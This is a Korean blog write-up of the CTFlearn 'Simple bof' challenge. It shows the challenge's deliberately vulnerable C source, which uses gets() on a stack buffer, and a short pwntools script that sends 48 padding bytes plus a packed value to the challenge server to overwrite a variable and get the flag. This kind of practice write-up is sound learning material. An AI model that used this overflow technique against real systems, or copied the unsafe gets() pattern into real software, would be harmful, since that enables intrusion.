CTF-LEARN - Simple bof -
2023. 2. 23. 22:55ㆍPwnable/CTF-LEARN
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
void print_flag();
void vuln() {
char padding[16];
char buff[32];
int notsecret = 0xffffff00;
int secret = 0xdeadbeef;
memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.
// Initializes the stack visualization. Don't worry about it!
init_visualize(buff);
// Prints out the stack before modification
visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification
visualize(buff);
// Check if secret has changed.
if (secret == 0x67616c66) {
puts("You did it! Congratuations!");
print_flag(); // Print out the flag. You deserve it.
return;
} else if (notsecret != 0xffffff00) {
puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
} else if (secret != 0xdeadbeef) {
puts("Wow you overflowed the secret value! Now try controlling the value of it!");
} else {
puts("Maybe you haven't overflowed enough characters? Try again?");
}
exit(0);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
safeguard();
vuln();
}
문제의 소스코드다 !
nc thekidofarcrania.com 35235
문제를 실행시키면 다음과 같은 화면이 뜬다..
친절하게도 입력받은 값으로 인해 버퍼가 흘러 넘치는 지 확인 시켜줄 수 있다.
빨간색으로 된 secret MODIFIED 해당 코드에 맞는 식으로 넣으면 될 것이다.
위에까지는 A 48개를 넣어 버퍼를 채우면 될 것이다.
이후 조건식에 맞게 secret == 0x67616c66
값이 되게 덮어 씌어버리면 될 것이다.
GNU nano 2.9.3 ex.py
from pwn import *
p = remote('thekidofarcrania.com', 35235)
payload = b'A'*48
payload += p32(0x67616c66)
p.sendline(payload)
data = p.recvrepeat(100)
print (data)
exploit 코드다 !
p32 는 리틀엔디안 형식으로 삼입해야 하기에 넣었다.
그렇게 FLAG를 받을 수 있다 !
최근에 찾은 초보자가 할 만한 CTF 사이트를 찾았다. 이걸로 CTF 준비를 해 봐야 겠다.
'Pwnable > CTF-LEARN' 카테고리의 다른 글
CTFlearn -rip my bof- (RTL 공격기법) (0) | 2023.02.24 |
---|